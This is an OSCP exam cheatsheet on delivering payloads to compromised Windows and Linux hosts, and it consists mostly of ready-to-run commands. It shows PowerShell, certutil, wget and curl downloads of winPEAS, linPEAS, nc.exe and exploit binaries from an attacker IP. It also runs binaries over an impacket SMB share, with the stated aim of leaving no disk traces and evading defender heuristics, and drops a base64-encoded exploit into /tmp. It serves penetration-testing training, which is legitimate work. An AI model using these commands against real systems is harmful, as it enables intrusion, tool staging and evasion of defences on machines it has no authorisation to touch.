Pivoting & Transfer • Fundamental / Essential

OSCP File Transfer Cheatsheet: Windows & Linux Payloads Delivery

Target Audience: Candidates seeking reliable ways to push winPEAS, linPEAS, and tools to targets

> OffSec Exam Tactical Tip

Always write payloads to `C:\Windows\Temp\` or `C:\Users\Public\` on Windows, and `/tmp` or `/dev/shm` on Linux. These directories always have global write permissions.

# Windows File Downloads: Certutil, PowerShell & Bitsadmin

Windows hosts often lack curl or wget on older versions. Leverage built-in LOLBins (Living Off the Land Binaries) for payload delivery.

Terminal Commands / Payload

# 1. PowerShell System.Net.WebClient (Fastest)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.45.10:8000/winPEASany.exe', 'winPEAS.exe')"

# 2. PowerShell Invoke-WebRequest
powershell -c "iwr -uri http://192.168.45.10:8000/nc.exe -outfile nc.exe"

# 3. Certutil LOLBin download
certutil.exe -urlcache -split -f http://192.168.45.10:8000/exploit.exe exploit.exe

# Impacket SMB Server Transfer (No Disk Traces)

Spinning up an SMB share from Kali allows executing binaries directly from the network share without saving them to the Windows disk, evading basic defender heuristics.

Terminal Commands / Payload

# On your Kali Attacker Box:
impacket-smbserver share $(pwd) -smb2support -user offsec -password SecretPassword123

# On the Windows Target Machine:
net use z: \\192.168.45.10\share /user:offsec SecretPassword123
z:\winPEASany.exe

# Or copy directly:
copy \\192.168.45.10\share\nc.exe C:\Windows\Temp\nc.exe

# Linux File Transfers: Python, Wget & Bash Base64

Transferring tools to non-internet connected internal machines through SSH or restricted shells.

Terminal Commands / Payload

# 1. Hosting payloads with Python HTTP
python3 -m http.server 8000

# 2. Downloading on target with Wget / Curl
wget http://192.168.45.10:8000/linpeas.sh -O /tmp/linpeas.sh
curl -o /tmp/linpeas.sh http://192.168.45.10:8000/linpeas.sh

# 3. Base64 transfer without network access (over SSH terminal)
# Kali: base64 -w0 exploit > b64.txt
# Target:
echo "f0VMRgIBAQAAAAAAAAAAAA..." | base64 -d > /tmp/exploit
chmod +x /tmp/exploit

Recommended Tools & Binaries

impacket-smbserver Python http.server Certutil Bitsadmin